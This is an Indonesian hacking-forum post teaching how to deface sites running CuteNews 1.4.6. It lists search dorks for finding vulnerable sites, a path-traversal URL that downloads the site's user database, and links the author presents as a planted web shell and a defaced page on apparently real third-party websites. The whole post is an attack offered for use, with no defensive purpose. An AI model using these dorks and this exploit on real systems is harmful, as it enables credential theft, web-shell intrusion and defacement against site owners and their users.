[Deface] CuteNews (upload shell)

Asslkm :D
nih trik nye.. :p
lngsung aj ya :D

Dork:
- Powered By CuteNews 1.4.6
- inurl:"news/file.php?file="

Poc/Exploit:
http://[localhost]/news/file.php?file=../users.db.php

Exploit d atas d gunakan untk mendownload user yg ad dlm site berikut :D hhe ..

Okay hasil dari saya:
shell: http://www.economia.uniba.it/news/data/files/fikri.php
Deface: http://www.studiodap.it/news.php

Maaf klo ad yg kurang jlas...
Tanyakan lngsung aj klo ad yg blm ngerti..
YM: fikriheroes

Okay smg brguna ya :D
Wassalam